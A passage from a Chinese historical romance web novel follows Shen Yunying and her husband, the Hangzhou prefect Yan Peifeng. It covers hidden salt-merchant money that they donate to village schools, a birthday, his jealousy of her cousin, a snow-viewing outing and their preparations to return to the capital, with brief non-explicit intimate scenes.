太子来杭州还跟燕培风说了沈家的情况。四月初,沈太师突然被皇上加封太子太傅的头衔,又赏他进宫做轿。 这些动作都有沈太师即将致仕荣休的意思。 沈云楹不知是沈太师谋划来的,还是皇上想这么做。她想着,沈太师送了她不少好东西,又对燕培风用心指点,每个月都写信给燕培风,告知他京城的消息。 沈云楹便想把《临魏六帖》送给沈太师,哪怕在府里闲暇时候看看解闷也好。 她打开匣子,孤本保存得很好,书肆有懂行的人,不曾有污损。沈云楹只是好奇看看,没有研读的意思,很快放下。 沈云楹笑道:“就这么装着,放进送去沈家的贺礼。签子写好给祖父。”她一边吩咐,一边用青灰素绸包住书。 忽然,沈云楹眼睛尖,一下看到樟木匣子有竖痕,奇道:“这匣子不是一根木头打出来的?” 孤本珍贵,用来装它的匣子一般都是由一根好木头直接打出来。要么通身素,要么镌刻花纹。 不会像这么一样,内里通身光滑,突然冒出两条痕迹。 沈云楹凝眉思索,就像是两根木块拼接,像是她之前拼过的拼图木片一样。 “要是匣子坏了,得换一个。不然弄坏这本《临魏六帖》就可惜了。”沈云楹伸手去摸,一边让银筝去重新找匣子。 沈云楹摇晃空空的雕漆素纹樟木匣子,摸了摸竖线中间的地方,又仔细看了一遍,没看出个所以然。 倒是边上的红叶咦一声,伸手接过,用力将那块木片卸了下来,“原来匣子的一侧是中空的。” 沈云楹心里惊奇,“快看看里面有什么?” 红叶两指往里一掏,先是一张通汇钱庄的存票,整整二十万两。 沈云楹震惊地拿起来辨认,还是不用信物的存票。接着,红叶又递过来一张地契和房契,是扬州的一间两进宅子。 “应该是姚家隐藏的财产,”沈云楹一看便明白,“想给后人留一条后路。” 红叶已经两眼瞪大如铜铃,感叹道:“盐商真有钱啊!” 沈云楹下意识接话,“现在便宜我们了?” 红叶高兴道:“不错,天降横财!夫人,今儿吃点好的庆祝一下吧?”她想要继续吃桐芍掌厨的好菜! 心思一眼便能看出。 沈云楹微微一笑,“得了横财,应该散财,我们捐出去。” 不是沈云不想满足红叶的口腹之欲,而是桐芍找她哭了好几次,这个月,银屏银筝还有红叶变着法儿的点吃的,桐芍烦不胜烦,已经想罢勺了! 沈云楹不能把人逼得太狠。 红叶失望垂头,“捐就捐,府城这会儿正需要钱呢。” 于是,等晚上燕培风回来,沈云楹便将二十万两和地契、房契放到他面前,笑得眉眼如月牙,又带着一丝狡黠。 燕培风浓眉一挑,“通汇钱庄?”再看二十万两的数额。他心里有了猜测。 “这是盐商的银子,你从哪儿得来的?” 沈云楹惊道:“你怎知是盐商的银子?银票又没写。” 燕培风轻笑一声,解释道:“通汇钱庄背后有盐商参股,这种存票只有固定的人群才能有。我们在几大盐商家里抄出不少,兑换出两百万两。” 沈云楹倒吸一口气,拿出空出一个口子的雕漆素纹樟木匣子,“姚家书肆的盒子。”她把整件事与燕培风一说,“没想到姚家藏东西这么深。” “狡兔三窟,”燕培风冷声道,“他们藏银子的地方和法子多的是。” 感觉到燕培风的不满气氛,沈云楹碰一下他的手背,“现在是我们的了。你上次说想在府城下辖的村里建私塾?这笔钱来的正好。” 江南读书风气浓厚,可是平民百姓依然读书艰难,尤其是村中私塾,燕培风想让所有人都能读得起书,起码做到开蒙。若要往上科举,就得看资质和个人努力了。 这里面,只是两三条村建立一所免费开蒙的私塾,就需要几万两银子。燕培风算了算耗费,便打消这个念头。 可是沈云楹记得,她觉得这笔银子用在这里最好不过。 “划出一半去用,剩下的钱,用官府的名义置办两间铺子,利润继续投到私塾里头。”沈云楹提出自己的想法。 燕培风怔怔地望着沈云楹,眼底是抹不开的温柔,他暂时放下的治理之策,沈云楹却记得,还要为此出一份力。 他听着沈云楹已经在问做什么生意好?她不擅长做生意,还得交给自己来办。 燕培风唇角漾开一抹温柔笑意,口里道:“用官府的名义可以。你是知府夫人,就是官府的人,你的名字不能抹去。” 沈云楹一愣,也行啊。这笔钱是不好以她的名义捐赠,燕培风这么说,肯定能做到。她就不操心了。 燕培风拾起村间私塾的规划,兴致勃勃地与沈云楹讨论细节,像是塾师来源,学生入学限制等等,接着又提起这次的命案进展,明日还得继续追查,预计要忙几天。 沈云楹开始很精神,饶有兴趣地听,后来眼皮合拢,沉沉睡去。身侧的燕培风低头望着她的睡颜,不自觉抬手抚摸她红扑扑的面颊,温柔道:“做个好梦。” 第97章 枕头风 时序六月, 盛夏炎炎。 沈云楹又不耐热,白日都待在铮然居,让人搬来两个冰盆, 晚膳后才去后院花园走动一二,吹吹夜晚的凉风。 六月初最重要的日子当然是沈云楹自己的生辰。银屏和银筝都准备了亲手缝制的荷包, 红叶私下准备驱蚊的药包, 沈云楹都知道的一清二楚。 但是燕培风似乎很忙, 每日早出晚归。沈云楹知道他在查命案,面上稳得住, 可心里还是忍不住浮起期待。 六月初六这日,燕培风照常出门,直到酉时末,沈云楹还没等到人回来, 她拧起秀眉,在犹豫是派人去叫燕培风回来,还是自己叫晚膳给自己庆生。 沈云楹还没做下决定, 门口忽然传来一股面汤的清香味,沈云楹头都没回就问:“怎么这么快送饭过来?” “因为再不吃, 面就要坨了。”燕培风沉稳温和的声音越来越近。 沈云楹惊得起身,轻哼一声, “厨房眼力越来越好了,掐着你的时辰送饭。”她都没收到燕培风回来的消息,厨房竟然早得了。 燕培风微微一笑,径直打开食盒,取出里面唯一的一碗长寿面。 老实说,有点寒酸。清汤寡水,只有几根青菜, 面汤上飘着几滴香油。 沈云楹第一反应,这不可能是桐芍的手艺。 “你做的?”沈云楹惊诧抬头,她脑中忽然浮现这个念头。 燕培风看看勉强能摆上台面的长寿面,耳根泛起红晕,颔首道:“时间紧张,我只学了三天。你尝尝?” 沈云楹重新坐下,拿起筷子吃一口。面条并不均匀,前头是细的后面就粗了,味道还是可以的,鲜香清淡。 沈云楹抬眸看了燕培风一眼,暗忖难道燕培风有厨艺的天赋? 这一眼却让燕培风误会了,他一做完就赶着送来,自己还没尝过滋味。心想沈云楹是个会吃的,眼光高,这份长寿面不符合她的口味? 燕培风直接按住沈云楹执筷的手,平静道:“要是味道不好——” “很好吃。”沈云楹立刻打断他。 燕培风唇角荡开笑意,承诺道:“以后每年我都给你下一碗长寿面。”想了想还是补充一句,“这次匆忙,火候还不够好,也没学到几样小菜。” 沈云楹却不想听他贬低,认真道:“我觉得这碗面就很好。” 四目相对,两人相视而笑。 用过长寿面,沈云楹已经半饱,可惜桐芍的一桌好菜,没能吃下多少。沈云楹摸着鼓起的腹部,惋惜地放下筷子。 燕培风看得好笑,“又不是只有一次,往后再没了。吃撑了不难受?”说着,拉着沈云楹起身,“去外面散散消食。” 沈云楹当然知道这个道理,可是美食当前,她没忍住。 夏夜凉风徐徐,消去白日的燥热,沈云楹与燕培风相携走在花园里,丫鬟们远远缀在后面。 “做长寿面累吗?”沈云楹想起燕培风包饺子时候的情景,其实饺子皮和馅料大多是下人备好的,她和燕培风只需要包。而这次的面条,是燕培风擀出来的。 燕培风的嗓音低沉悦耳,“能为心爱之人做一碗长寿面,怎么会累?” 猝不及防听到燕培风说出心爱之人四字,沈云楹怔愣在原地,抬头静静地看着他。 燕培风俯身靠近,“云楹,我曾以为妻子只是应摆在后院的吉祥物,可是我遇到了你,诗酒花茶,闲适雅趣,你样样都好。朝夕相处,我早已心动。” “你呢?你心里有我吗?”临门一脚,燕培风决定稳一稳,要明确沈云楹的心意。 沈云楹面色如绯,但认真道:“自然。”见燕培风惊喜得双眸发亮,沈云楹随之展颜。 燕培风庄重而严肃,承诺道:“以后,我们年年如一日,执手偕老。” 沈云楹开口:“夫君——” “叫我的名字。”燕培风却不想听她喊夫君。 “燕培风。”沈云楹奇怪但应承。 燕培风摇摇头,显然不满意。 沈云楹眼珠子一转,轻声唤:“培风。” “以后就这么叫我。”燕培风的嗓音低沉又满足。 沈云楹笑问:“喊你夫君还不好?” “那仅仅是你的夫君,不单是我燕培风。”燕培风不仅要做沈云楹的夫君,还要做沈云楹的燕培风。 他还记得沈云楹新婚时喊他夫君的样子,语气都没有什么变化,客客气气的。 沈云楹听明白了,主动牵住他的手,燕培风立即反握抓紧。 夜色渐深,消食运动从屋外转至屋内。 燕培风的袖凤带得烛火微晃,沈云楹一低头就看见他青色金丝祥云纹的下摆,一步一步地靠近。 燕培风身上的松墨香和夏日的热气,一起向沈云楹袭来,密密地将她整个人包裹起来,就像给红彤彤的糖葫芦裹上蜂蜜糖浆,喜欢的人沾染上自己的气息,变得更加诱人。燕培风黑沉沉的凤眸直勾勾望着沈云楹,欲念汹涌。 他的鼻尖轻轻蹭过她的眉毛、眼睫、琼鼻,两人呼吸交织在一起,火热滚烫,彼此的面颊都染上红晕。 心意相通之后,燕培风反而有了更多顾忌和克制。满脑子都想着让沈云楹更舒服些。 沈云楹攥紧他腰间顺滑的衣料,见燕培风迟迟没有动作,满是疑惑的圆润杏眸直接对上燕培风汹涌而克制的眼神。 沈云楹嫣然一笑,双手攀上他的脖颈,“你太慢了。” 沈云楹主动出击,瞬间击垮燕培风刚刚竖起的防线。 雨打芭蕉,烛火摇曳,满床春光。 云雨初歇,燕培风的指腹轻轻拨开她被汗水沾湿的如瀑青丝,隔着薄薄的寝衣,小心翼翼将人抱进怀里。 沈云楹闭上眼,朝他怀里拱了拱,寻到一个舒服的姿势,迷迷糊糊道:“累,睡吧。” 燕培风下颌抵在她发顶,说话的声音都带着压制不住的笑意和灼人气息,“就这么抱着你,睡吧。” 夏去冬来,燕培风的书房逐渐有了沈云楹的痕迹,庄重沉闷的书房慢慢变得生动。 这日中午,燕培风从前头衙门回来,鼻子一动,书房的熏香不一样了。他惯常用的是檀木香。现在空气里多了一丝清新之气。 燕培风寻着香气望去,一粒黄豆大的香丸静置在云母片上,淡淡的橙香弥漫开,仿佛能看到有一双素手在轻轻拨开鲜橙的场景。 燕培风嘴角噙着笑,绕过屏风,果然见铺着软缎的躺椅里窝着一个人,双目微阖,肌肤莹润,俨然一副海棠春睡之景。燕培风舍不得打搅,只静静驻足观赏。 然而沈云楹早养成了习惯,午时歇晌的时间都是固定的。 沈云楹与燕培风有默契,午间沈云楹来书房陪燕培风,晚上燕培风去铮然居。能多相处一会儿也好啊。 今日燕培风被事情绊住脚,晚了半个时辰回来。沈云楹独自在书房,边看话本边等,慢慢就睡着了。 沈云楹一睁开眼睛,引入眼帘的就是燕培风傻站在一边,动也不动的模样,她的声音带着刚刚睡醒的倦意,“你回来啦。” 燕培风颔首,牵住沈云楹起身,帮她揉一揉后腰,嘱咐道:“躺椅睡得不舒坦,下回还是回铮然居等我。” 沈云楹嗯一声,看情况吧。她也不知道燕培风这次会迟到这么久啊。 沈云楹兴冲冲地问:“我看你喜欢檀香。可是单单檀香,闻久了有些腻,加了橙皮,你闻着怎么样?” 书房里一直用檀木香,沈云楹有些厌烦了。趁着冬日有新鲜的橙子,沈云楹就地取材,换了一份橙皮合香。 “清新甘冽,中和檀木香的厚重,很适合冬日。”燕培风客观评价。 沈云楹满意一笑,“那这个冬天都就用它。” 这种事,燕培风一向迁就沈云楹,随她心意。燕培风点点头,“你日日来书房,随你心意布置就是了。我怎么样都行。” 闻言,沈云楹抬眸看他一眼,燕培风现在好听话张口就来。 沈云楹杏眸一转,“那你抽空把下一本话本写了?” 燕培风一顿,迅速过一遍衙门的事务,遗憾道:“时间不够,年前衙门最忙。过两天我还得去一趟新康。” 沈云楹转而问起别的,“来不及写,你就告诉我,那个孩子是人是妖?” 燕培风知道沈云楹看过一本修仙话本,可惜只有一小半,书肆说那个书生不写了。沈云楹遍寻不着这类的新奇话本。燕培风利用休沐时间给沈云楹写了一本话本,中秋节的时候送给她。 话本写的是柏树千年修炼,终于走到最后一步,修成人形。而这一步,最关键的是向第一次遇到的人讨封。 柏树男妖遇到一名上山采药的女子,问采药女他是人是妖?采药女答是男人。 柏树妖上门报恩,和采药女成亲。开始两人的日子和和美美,可惜歹人作祟,柏树妖自愿散去一身功力,救回采药女。然后他发愤图强,读书做官,终成一方好官。 夫妻二人始终恩爱,诞下一个可爱的儿子。最后写着两人的儿子喜欢把自己埋进土里,喜欢晒阳光,还喜欢喝露水。 沈云楹就很想知道这个孩子是人还是妖? 燕培风怎么可能这么快妥协,要吊足沈云楹的胃口,夜里讨些福利才好。他沉吟片刻,“不知,我也没想好。” “过年休沐,你趁机写一个?”沈云楹两眼亮晶晶,“掌柜的说,书肆时常有人来问何时出续本,还问我是哪位高才写的,一定要聘请到书肆呢。” 燕培风受不住沈云楹的吹捧,暗道枕头风果然不容小觑,松口道:“看朝廷何时封印。” 得了这话,沈云楹心知以燕培风的性子,一定能写出来了。她满面笑意,拉着燕培风出去,“我们去用午膳。” 第98章 眼福 临近年底, 燕培风和沈云楹都格外忙碌,两人简单用过午膳,门外就传来思齐的催促, “主子,范掌柜来了, 孔同知也在前头衙门等您过去, 说要同您定下旧案的规矩。” 范掌柜便是范广侑。他饱读诗书, 只是考试运气不好,屡次未中。又因为燕恩, 家中横遭大变,在范州待得难受。燕培风考察过他的学识人品,决定聘请来主持乡间私塾工作。 范广侑愿意来江南重新开始生活,现在正是私塾的起步阶段, 十天半月都来一次府衙报告进度。 孔同知,就是崇国公的三公子孔仰之。他自任同知以来,非常配合燕培风办事, 孔仰之和燕培风渐渐成了好友。这次,他们商量开始清理杭州积压的旧案。 燕培风还想抽空和沈云楹说说话, 衙门的事务就追过来了,还都是要紧的事, 不能推脱。 沈云楹见状,笑道:“不止你要忙,我年底也要算账呢。京城店铺和庄子都派了人来,我得赶紧处理完,别耽误他们回家过年。” 燕培风颔首,“晚上回来陪你吃饭。” 燕培风留下话,便抬腿出去。沈云楹则回铮然居, 在银筝和红叶的帮助下料理账本。 眨眼就到腊月十五,沈云楹翻了一圈往来名册,奇怪道:“银屏,怎的不见我娘的年礼?” 按照习俗,这会儿应该收到了才是。京城沈家的年礼都送到了,没道理金陵的反而还没有。不仅蒋文笙的没到,蒋家的也没有。 银屏摇头道:“是还没收到,可能咱们离得近,蒋家排在后头送?三夫人的礼肯定随蒋家的一起。” 沈云楹凝眉沉思,喃喃道:“再等两天,还没有消息就去一趟江南书院。” 银屏应道:“奴婢记下了。” 沈云楹神思不属过了两日,燕培风在一旁看着心疼,正要说派个人去江南书院,沈云楹再不放心,年后再去蒋家住几天。 这时,银筝高兴地冲进来禀报,“夫人,蒋二公子来了,他亲自来送年礼。” 沈云楹愁绪顿消,嫣然一笑,“快带人进来。”她忙去拿织金妆花缎披风,领口围着一圈上好的紫貂风毛,暖和又防风。 她边系披风,边吩咐:“银屏,去把前院的青柏院收拾出来,这么冷的天,得留二表兄住几天。” 沈云楹临出门前,脚步一顿,回头望着燕培风,“培风,你不走?” 燕培风轻哼一声,暗忖我还以为你眼里没我这个人呢,面上依然维持着平静的神色,“走吧。”说着,大迈两步,与沈云楹并肩而行。 前院花厅,蒋高恒穿着银狐皮的大氅,石青色文雅庄重,他看到沈云楹与燕培风相携而来,洒脱一笑,“表妹,表妹夫,许久不见。” 沈云楹笑道:“大半年不见,可得亲口给二表兄道喜,得中举人。” 蒋高恒摆摆手,“表妹莫要打趣我,”对着燕培风拱手道谢,“还得多亏表妹夫的关照,邵教谕尽职尽责,实乃严师也。” 如果蒋高恒说话的表情能放松些,不是带着咬牙切齿的味道,沈云楹就很相信这句话。 沈云楹不禁暗想,看来蒋高恒在国子监备考的日子水深火热。 燕培风面色镇定,微微颔首,从容道:“二表兄不必客气,都是一家人。邵教谕只是尽职责,还有大表兄盯着,二表兄定能高中。” 蒋高恒心里就是苦,家学渊源害死人,上到祖父蒋宜,下到妹妹蒋琬,都认为他能高中。幸好起得比鸡早,睡得比狗晚的日子总算过去了。祖父要是还撵他去考进士,他便远走两年再回金陵。 不过,不管怎么说,他也比高棋堂兄好些。想到此,蒋高恒心里又舒坦了些。 蒋高棋谦虚两句,忙说出此次来意,“这次我过来一来给你们送年礼,二来是老友相约,特来相聚一番。” 沈云楹得了准话,彻底安心,笑问:“外祖父精神还健旺吗?我娘身体可好?” 蒋高恒笑着叹口气,“年礼腊月十二就备好要送来杭州,谁料,祖父和姑姑两人兴致高昂,作伴爬山烹雪煮梅,回来就病了。”见沈云楹秀眉微蹙,忙道:“现在已经打好,只是需要温养,不好出门。否则,姑姑就要跟着来杭州了。” 沈云楹气道:“年纪不小了,还不顾及身体!” 她打算年初二去金陵蒋家归宁,现在看来必须去看看。叫蒋文笙不能太随性了。 “祖父和姑姑已经被家里人念叨好几日了。”蒋高恒想到两位长辈不耐烦又不好赶人的模样,就忍不住想笑。 沈云楹又问了蒋家众人的情况,燕培风顺势插话,“青柏院宽敞安静,二表兄留下住着,那里临近侧门,出入也方便。” 蒋高恒欣然答应。 沈云楹和燕培风招待蒋高恒用晚膳,等回到铮然居的时候,已到戌正,沈云楹检查过蒋文笙寄来的吃食,除了自制的腊肉腌菜,就是有名的特产,像是金华火腿、苏州酱鸭、闽南橘红糕,还有一些干货海味。 快比得上沈云楹送过去的了。难为蒋文笙费心准备。 母亲还是这么疼爱她。 沈云楹命人将东西收好,拐去书房给蒋文笙写信。刚阁下笔墨,忽然见竹帘下站着一个颀长人影,正是燕培风。 沈云楹不解看向他,“你站在那儿作甚?”书房有椅子,何苦累到自己。 燕培风的目光扫过案桌上的信,扯了扯嘴角,三两步走到沈云楹身边,下巴搁在她肩上,闷闷道:“还以为你要给你的二表兄写信呢。” 沈云楹侧头,狐疑地瞥他一眼,蒋高恒就在前院,写什么信啊? “蒋高恒在国子监课业繁重,你们还能时常通信。” 沈云楹耸耸肩膀,燕培风的脸跟着动一下,笑道:“怎么就时常了?就是节礼往来的时候,才附上一封信。” 燕培风伸手拿起刚写好的信,放在一边晾干,不紧不慢道:“后日休沐,明畅园有赏雪雅集。我带你去玩玩?” 沈云楹上上下下打量燕培风,自从高中状元,燕培风连京城的诗会雅集都不参加,入仕之后更是忙碌。怎的突然有闲情逸致去文人雅集? 燕培风神色不自在,捧住沈云楹的脸,捏一下软软的脸颊,“瞧什么呢?你能跟二表兄去,不随你丈夫去?” 沈云楹乐了,“燕培风,你吃醋啦?” 燕培风轻哼一声,把人抱在腿上坐着,伸手把玩她垂下来的发丝,“表兄表妹的,还议过亲,你们又如此投缘。” 沈云楹环住他的脖颈,总结她与蒋高恒的缘分,“郎无情,妾无意。”又转换话题,“二表兄高中举人,我娘还托我留意杭州城内的姑娘呢。说要不拘家世,想要豁达大方的。” 大舅母对小儿媳的定位就是能与蒋高恒性情相投,不作妖。蒋高鑫明年二月就参加会试,指望着考个好名次,迎娶京城官宦之家的女儿。将来大舅一家就靠蒋高鑫光耀门楣。 燕培风很想帮忙,只是他对杭州的未婚女子不了解,不轻不重道:“二表兄年纪不小,的确该成婚了。” 丝毫不理会自己比蒋高恒年岁还大的事实。 沈云楹笑颜如花,凑在他耳边,“除了你,没人愿意这么纵容我。” 燕培风受用地弯起嘴角,沈云楹说好听话哄人的样子,当真睹之忘俗,见之生怜。 沈云楹发现燕培风有时候还挺像一个小孩儿,跟蒋琬撒娇的时候差不多。以前燕培风温和中带着严肃,让人跟着正经起来。 燕培风眼底漾开一层又一层的涟漪在,温柔道:“告诉你一个好消息,工匠做出来了。” “嗯?”没头没尾的,沈云楹一时跟不上燕培风的思绪。 她双眸圆润,此时无意识睁大,这副鲜活娇憨的模样,如珠如玉,惹得他心头一颤。 燕培风低低地道:“今晚试试成果。” 沈云楹整个人腾空,被抱着从书房挪到正房,床帐一落,满室生香,芙蓉帐暖度春宵。 鸳梦方醒,沈云楹枕着燕培风的胳膊,鬓发微乱,浑身透着一股慵懒之气,忽听燕培风的嗓音在耳畔响起,“感受如何?” 沈云楹面色酡红,横了他一眼。 燕培风眼角眉梢都透露着欣喜,“下回试试梅花露吧?新鲜。” 这下沈云楹连寝被底下的身体都跟着羞红了,燕培风竟然让工匠改良避子的如意袋。不仅用更柔软的丝绸做内衬,更往里面加入各样花露。 今晚用的栀子花露,带着一丝奶香,香气清甜,像是回到了夏日里赏栀子花的时候。 沈云楹压住羞赧,追问:“你让工匠试做的?” 燕培风眉宇飞扬,“以后按照时令来做。已经有几家采买来问,想添置到自家店铺售卖。” “不过,我没同意。” 这是为他们夫妻增添的乐趣。 沈云楹真想问问燕培风,你的状元脑子就用在这儿? 瞧燕培风兴致勃勃的模样,用时令花露的念头暂时是没法打消了。沈云楹想想刚才的滋味,还挺舒服,采纳燕培风的建议,也行吧。 翌日,燕培风照常去衙门办公,没时间招待蒋高恒,只吩咐小燕管家派人去伺候。但是蒋高恒对杭州很熟悉,不必燕家派人跟着,他一大早便出门去拜访好友,晚上又让人传话,晚上留宿在好友家中。 沈云楹点点头,蒋高恒自己做主就是了。 沈云楹嘱咐银筝去打听一下明畅园的赏雪雅集,得知是府城每年都有的雅集,会持续三日。其他的地方和京城雅集无甚区别。 燕培风果然信守承诺,第二日休沐的时候,两人做寻常打扮,一起去明畅园的赏雪雅集逛逛。 到了明畅园,燕培风领着沈云楹去泛舟雪溪,园子里引了活水,又是暖冬,这片小湖没冻上。 天地一色,舟内燃着红罗炭,又有一炉热茶,配上雪花落下舟顶的声音,如诗如画。 等弃舟登岸,燕培风和沈云楹便去明晶楼赏雪。路过几个亭子,里面都传出作诗声,围炉联句,踏雪寻梅,雪中煮酒,都是文人喜欢的活动。 明晶楼是明畅园的一大景致。燕培风提前打好招呼,今日这里留给燕培风和沈云楹。 沈云楹一进门就看到窗边檐角那儿窝着取暖的两只雀鸟,沈云楹拿起红漆描金碟里装的松仁云片糕,从边上掰下一点,撒在窗边,等了一会儿,两只小雀鸟终是抵不住食物的诱惑,翅膀一扇,试探着飞来,叨叨叨开始啄松仁。 沈云楹和燕培风默契得没有出声,直到两只小雀鸟吃完飞走,才会心而笑。 “我们在府里养一些雀鸟?”燕培风望着飞走的两只小身影,不由提议。 沈云楹摇摇头,“不了,就是一时兴起。我还是更爱后院的锦鲤。”现在后院锦鲤又增加了几尾好看的品种。 燕培风可有可无,沈云楹不喜便罢了,没有再劝。 “这里的窗户果然不同凡响。”沈云楹细细欣赏各种琉璃样式的半透明窗户,每一扇都不一样,偏偏又能合成一副精美的花样,令人叹为观止。 明晶楼之所以叫明晶楼,正是因为安装了这些琉璃窗。 燕培风笑道:“在这里赏雪,开窗与不开窗,是两种风景。”就像透过软烟罗观赏窗外的景色一眼,透过琉璃窗,雪景自是别有风味。 “真的?我试试。”沈云楹当即实验起来。 风景虽好,看了一会儿,沈云楹的心思就转移了,她伸手在结霜的琉璃窗上作画,先是刚刚飞走的雀鸟,再画小兔、老虎、狐狸,最后都擦掉,重新画上两个小小的人儿。 画毕,沈云楹满意一笑,抬眸问燕培风。 燕培风始终陪在旁边,默默看着沈云楹玩闹,撞上沈云楹含笑的眼眸,他心中遗憾这窗上的画不能长长久久的留住。 又可惜今日蒋高恒竟然不来参加雅集,他笑道:“可惜他人没有眼福。” 沈云楹睨他一眼,轻声道:“二表兄今日在好友家编纂新的游记。” “燕培风,你心眼真小。” 沈云楹本来只是心有猜测,刚刚来明晶楼的路上,燕培风故意带着她绕过五六个雅集聚会的亭子,沈云楹就肯定了。 燕培风就是想带着她在赏雪雅集偶遇蒋高恒。 沈云楹好笑又无奈地摇头。 燕培风讪笑一声,用力抱住沈云楹的腰肢,静静感受怀中人的温度。 他就是想覆盖沈云楹跟着别人去文人雅集的体验。 沈云楹是燕培风的妻子,每一样美好的记忆,当然要由他创造。 第99章 回京 景元二十四年, 正月初三。 燕培风任职杭州知府已两年多,治下政通人和、讼简刑清。年前,燕培风就收到吏部文书, 让他年后进京述职。 即将三年期满,太子和沈太师都传来消息, 皇上有意留他在京, 不会再外放了。 恰巧去年八月, 沈础鹤回桐安科考,顺利考上举人。今年二月, 沈础筠和沈础鹤都要回京城参加会试。蒋文笙自然随着侄子回京。 双方再次相约一起回京,彼此照应。 沈云楹有条不紊地收拾行礼,在杭州待了三年置办的东西非常多,光是燕培风赠送的东西就装了两个箱子。 “今年是个暖冬, 过了元宵,就能行船了。夫人,官船宽敞, 不用紧巴巴的可着地方收拾东西。”银屏听到沈云楹询问要不要留下一些家具摆设,就算搬回京城, 也用不上。 银屏觉得这都是好木头,丢弃实在可惜, “下一任知府都不知道是谁呢,万一人有自己的呢?” 沈云楹想想也是,燕培风说孔同知很可能升任知府,如果真是这样,孔仰之真有自家的一整套家具摆件。说不定都不会搬进这里,直接住在现在的宅院。 “那就收起来吧。”沈云楹不犹豫了,来到议事厅坐下, 听银屏汇报进度。除了现用着的,其他的都已经打包收好,只等着送去金陵。 “对了,蒋大姑娘昨儿生了,是位小公子。满月礼得提前送去。”银屏提醒沈云楹。 蒋大姑娘就是蒋玥,她两年前出嫁,夫家杨家就在金陵。沈云楹还去参加了婚宴。 沈云楹想了想,“金锁金镯子金铃铛都备一整套,再加一套笔墨纸砚样式的,给玥表姐送去。” 杨家是书香人家,喜欢这种寓意的。 沈云楹忽然问:“银屏,文茹霞是不是也快生了?” 银屏一愣,回道:“算算日子七个月了。”顿了顿又道:“夫人,文姨娘的孩子,按着规矩减三成送去?” 蒋高棋取中秀才之后,就由蒋二夫人做主,娶了江南书院一位苏先生的女儿。这位苏姑娘自幼熟读女则女戒,在她有孕的时候,主动为蒋高棋纳妾,人选正是文茹霞。 令沈云楹惊讶的是,这位苏表嫂与文茹霞真的有点情同姐妹的意思,两个人相处和和睦睦的,丝毫没有妻妾相争的苗头。蒋二舅母见文茹霞安分,便撂开手,不管儿子后院的事。 如今文茹霞也算求仁得仁,又怀上身孕。希望日子能一直顺顺利利吧。 “嗯,还有四个月呢,就是从京城送过来都赶得及。”沈云楹低声道,她不会为了文茹霞打苏表嫂的脸,礼就按规矩来。 接连处理两样跟孩子有关的事,在边上听着的银筝给沈云楹端来一份热乎乎的杏仁乳酪,郁闷地道:“就连二姑娘都有生了一个,又怀上一个,等这次回京,不定要怎么阴阳怪气夫人呢。” 沈云蔓有一个两岁的女儿,现在又有了身孕。就算沈云楹远在江南,沈云楹还特地写了一封信来炫耀,暗示沈云楹该早些开枝散叶。 沈云楹瞬间觉得脑壳疼,明明成亲三年时光,怎的就像过了十年八年一样,身边人人都围绕着孩子说话。 “该来的时候自然就来了。”沈云楹舒舒服服吃着杏仁乳酪,悠哉悠哉安抚道:“你们别着急。一些闲话罢了,放在心上做什么,我们日子过得多舒坦?” 再说,沈云楹与燕培风刚摒弃避子的如意袋。对于子嗣,两人的态度一致,那就是随缘。 沈云楹是真不着急。 话说回来,可能是离得远,皇上和皇后都没有传来催生的信件。念及此,沈云楹愈发不想回京城了。 “想什么呢?”燕培风的声音从门口传来,他一进门就看到沈云楹搅着勺子,乳酪都碾碎了还不入口,他先脱了银狐大氅,缓步走到沈云楹身侧,视线扫过她搁在桌面的行李单子。 其实某一方面来说,沈云楹与燕培风挺相似,都喜欢把事情列出单子,一条一条来办。 沈云楹还嫌自己太板正,殊不知这是乌鸦不知自身黑。燕培风只扫一眼,就知道沈云的进度,笑问:“遇到麻烦了?旁的不要紧,你直接挑喜欢、贵重的带上,别的都出手。” 沈云楹轻轻摇头,嗓音软软的,“我舍不得走。” 燕培风失笑,沈云楹这副吴侬软语的样子,倒像是土生土长的江南女儿,不像在京城的姑娘。 他坐在沈云楹身边,笑道:“可以啊。” 沈云楹眼前一亮,直起身子望着他。 燕培风嗓音不疾不徐,“我向皇上请旨,调任到金陵、扬州或是绍兴府,这几个地方都离杭州不远。”接着话锋一转,“不过岳母必得回京的,你想和岳母长久的分开?” 沈云楹面色一垮,还真不想。杭州金陵相距不远,沈云楹不时会抽空去金陵蒋家小住,蒋文笙隔一段时间也会来燕家探望女儿,日子比在京城时候还惬意。 见沈云楹不抗拒,燕培风嘴角微弯,他记得出京前,沈云楹也不想离开京城。现在在外面待久了,又不想回京。 “我担心祖母会为难我娘,两个堂兄两年多没回京城了。”沈云楹叹一口气,本来沈础筠和沈础鹤计划在江南书院待半年左右,就当时来江南游学,开拓眼界,现在两个人被蒋宜压着读了两年书,不知道太师府的三个女主子会怎么想。 燕培风垂眸思索,岳父早逝,岳母在沈家后院无人能帮忙。他身为女婿,也不好插手岳家的后院。进不去,就只能和上次一样弄出来。 燕培风忽而笑道:“那还不简单?要是岳母有了外孙,不就能名正言顺接岳母来府里住着?” 沈云楹心中惊讶,扭头问:“你想要孩子?” 最近在她耳边念叨的人多,燕培风身边吹风的人应当也不少。而且燕培风年纪不小了。 见沈云楹脸色紧绷起来,燕培风意识到玩笑开过头了,忙剖白:“自是不会,我们不是说好了吗?” “我们两人游玩赏景,清风明月,安逸舒适。若是添了孩子,不得吵闹的人仰马翻。” 燕培风对后院的要求还是不变,安静不闹腾。沈云楹的折腾不算,那是夫妻情趣。 沈云楹笑着推他胳膊一下,问道:“这次回京,我们接祖父祖母来住一段时间吧?” 燕家祖父母每月都有信来,沈云楹提议过叫他们趁着天气好的时候来杭州,可是他们不肯。沈云楹知道,燕培风很记挂祖父母。 “好,知道我回京述职,祖父母一定会去京城,到时候我们留他们多住一阵。”燕培风知道祖父母身体康健,但还是要见见人才安心。 两人腻歪一阵,商量完行李的取舍问题,再一起去用晚膳。这会儿外面还有年味,燕培风和沈云楹换上轻便衣裳,去逛逛夜市,乘兴而去,尽兴而归,赶在亥时前回府。 正月十七,燕家的马车到达金陵凤鸣山蒋家,沈云楹和燕培风暂歇一夜,顺便与蒋文笙一行人汇合。两边的行李先一步送去官船,明日赶路轻省些。 正月十八,官船从金陵码头出发,因是逆风北上,到达京城的时候已是二月初十,错过了龙抬头和春耕仪式。 公主府和沈家都派了人来码头接人,沈云楹与蒋文笙惜别,走上各自的马车。 公主府有燕伯坐镇,杨嬷嬷辅助,一切井井有条。马车刚停,燕伯和杨嬷嬷就侯在门口,一见沈云楹和燕培风下车,燕伯便激动上前,眼眶有些泛红:“老爷,夫人!你们可算回来了!” 